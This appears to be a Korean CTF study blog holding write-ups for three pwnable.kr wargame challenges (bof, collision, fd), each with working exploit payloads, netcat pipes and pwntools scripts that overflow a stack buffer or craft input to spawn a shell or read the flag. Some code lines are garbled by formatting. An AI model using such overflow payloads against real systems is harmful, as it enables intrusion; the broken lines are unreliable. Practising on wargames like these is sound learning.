문제 5번은 이름부터 bof이다.


설명에도 버퍼 오버플로우 취약점이 언급되는 것으로 봐서 버퍼 오버플로우 관련 문제인 것을 유추할 수 있다.


바이너리와 바이너리의 소스코드로 추정되는 링크가 주어지고 해당 파일을 분석하여


netcat을 이용해서 공격을 수행하는 것으로 보인다.




다운받은 bof.c 소스코드이다.


func 함수에 0xdeadbeef라는 값을 전달하고 func 내에서 overflowme라는 32바이트 문자열에 사용자로부터 입력을 받는다. 


파라미터로 전달받은 key의 값이 0xcafebabe와 일치할 경우 shell이 실행된다


overflowme 변수를 오버플로우시켜 매개변수로 전달받은 key의 값을 0xcafebabe로 변조에 성공하면 서버의 쉘이 실행된다.


먼저 gdb를 이용하여 bof의 스택 구조를 살펴본다.



bof 바이너리의 main 함수이다


해당 함수에서 esp 레지스터에 0xdeadbeef 값을 할당하는 명령어에 


break point를 걸고 실행을 시켜 0xdeadbeef 값의 위치를 추적한다.






esp 레지스터에 0xffffd3c0 주소가 들어있는 것을 확인할 수 있었으며 해당 위치에 0xdeadbeef 값이 할당된다.





확인 결과 위와 같이 실제 0xffffd3c0 주소에 0xdeadbeef 값이 들어간 것을 확인할 수 있었다.


이제 func 함수의 gets 함수를 이용하여 오버플로우 시켜 해당 메모리 영역을 0xcafebabe로 덮으면 된다.


먼저 gets 함수에 입력하는 값이 메모리 영역의 어디에 쓰이는지 확인하기 위해 func 함수를 살펴본다.





gets 이후 메모리 영역을 살펴봐야 하므로 gets 함수를 호출하는 다음 명령어에 bp를 걸고 실행한다


gets 함수가 실행되고 입력을 요구하여 임의의 ‘a’문자로만 구성된 문자열을 입력했다.


이후 ebp 레지스터에 8바이트 더한 메모리 영역의 값과 0xcafebabe와 비교하는 명령어가 있기 때문에 ebp 레지스터의 주소 주변을 출력했다.





확인 결과 입력한 ‘a’로 구성된 문자열의 시작하는 주소가 0xffffd38c였으며 


입력하는 값은 해당 주소부터 리틀엔디안 방식으로 입력되는 것을 확인할 수 있었다.


 0xdeadbeef 까지 길이는 52바이트이므로 다음과 같은 페이로드를 작성할 수 있다.



1
`python -c ‘print “a”*52 + “\be\xba\xfe\xca”’`
cs


해당 페이로드를 바이너리에 입력하면 오버플로우가되고 /bin/sh가 실행된다.


netcat 명령어를 이용하여 서버상의 바이너리를 페이로드를 입력하여 실행한다.



1
(python -'print "a"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000
cs









pwntools



1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("pwnable.kr"9000)
 
payload = "A" * 52 + p32(0xcafebabe)
 
c.sendline(payload)
 
c.interactive()
 
cs





'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13
2. collision  (0) 2018.09.13
1. fd  (0) 2018.09.13


아빠가 MD5 해시 충돌을 알려줬다고 한다.


이번에도 힌트를 통해 해시 충돌과 관련된 문제임을 알 수 있다.


알려준 주소로 접속해본다.



1번 문제와 크게 다르지 않은 형식으로 권한이 없는 flag 파일을 setuid가 활성화 된 col 바이너리를 실행하여 읽는 것으로 추정된다.


col.c 파일을 열어 col 바이너리가 어떤 일을 수행하는지 살펴본다.




첫 번째로 전달받은 argv[1]check_password에게 전달하여 호출하고 반환되는 값이 hashcode와 일치할 경우 flag가 출력된다


두 번째 if문을 통해 argv[1]의 값은 반드시 20바이트여야 함을 알 수 있다.


Check_password 함수를 확인하면 전달받은 문자열을 int* ip로 가리킨다


반복을 돌며 ip의 인덱스를 증가시키며 문자열을 읽고 res에 더한다




정리하면 전달받은 문자열을 4바이트 단위로 끊어 모두 더하고 해당 값이 0x21DD09EC와 일치하면 플래그가 출력된다.



간단하게 0x21DD09EC 5회 나눠서 페이로드를 작성하였고 나누어 떨어지지 않아 0x04 만큼의 손실이 발생하여 


마지막 수는 0x04만큼 더 더하여 작성하였다.


1
./col `python -c ‘print “\x06\xC5\xCE\xC8”*4 + “\x06\xC5\xCE\xCC”’`
cs


페이로드를 입력하여 실행한 결과 패스코드가 일치하지 않음.


리틀엔디안 방식으로 재배치하여 입력



1
./col `python -c ‘print “\xC8\xCE\xC5\x06”*4 + “\xCC\CE\xC5\x06”’`
cs













pwntools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
id   = 'col'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
payload1 = 0x06c5cec8
payload2 = 0x06c5cecc
 
payload = p32(payload1)*4 + p32(payload2)
 
 
res = s.run('./col ' + payload)
 
#.sendline(payload)
 
print res.recvall()
 
s.close()
cs







'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13
3. bof  (0) 2018.09.13
1. fd  (0) 2018.09.13

Mommy! what is a file descriptor in Linux?


이 문장에서 문제가 리눅스의 파일디스크립터와 관련이 있을 것으로 유추할 수 있다.


일단 안내해준 주소 접속해본다.




주소로 접속하여 해당 디렉토리 내에 어떤 파일이 있는지 살펴본다.


flag라는 파일이 fd_pwn 계정 및 root 그룹에게만 read 권한이 있다.




접속한 계정은 fd 계정이므로 당연히 읽을 수 없다.




해당 디렉토리 내에 fd 파일에 setuid 플래그가 있는 것을 확인할 수 있다.


해당 바이너리를 이용하여 fd_pwn의 권한으로 flag를 읽을 수 있을 수 있다.


디렉토리 내의 fd.c 파일을 열어 fd가 어떤 일을 수행하는지 확인해본다.



해당 바이너리는 특수 조건을 만족하면 “/bin/cat flag” 명령어를 수행한다. 따라서 해당 조건을 만족하면 flag를 획득할 수 있다.


첫 번째 인자를 문자열 형식에서 정수형 형식으로 바꾼 후 0x1234를 뺀 값을 fd로 저장한다.


후에 fd로부터 buf 32바이트를 읽은 것을 확인할 수 있으며 조건문은 fd로부터 읽은 값이 “LETMEWIN\n”과 일치할 경우 실행된다


현재 터미널에서 바이너리에 실질적인 값을 전달할 수 있는 방법은 표준 입력으로 파일디스크립터 0번을 사용한다


따라서 argv[1]0x1234를 전달하면 fd 0이되고 표준 입력인 터미널로 바이너리에 입력 값을 전달할 수 있게된다


0x1234를 전달하기 위해 먼저 십진수로 변환하면 다음과 같다.




10진수로 4660을 전달하면 플래그 획득 가능













1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
shell = ssh("fd","pwnable.kr",port=2222,password="guest")
 
sh=shell.run('./fd 4660')
sh.sendline('LETMEWIN')
 
print sh.recvall()
 
shell.close()
 
 
cs


pwntools 사용




'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13
3. bof  (0) 2018.09.13
2. collision  (0) 2018.09.13

+ Recent posts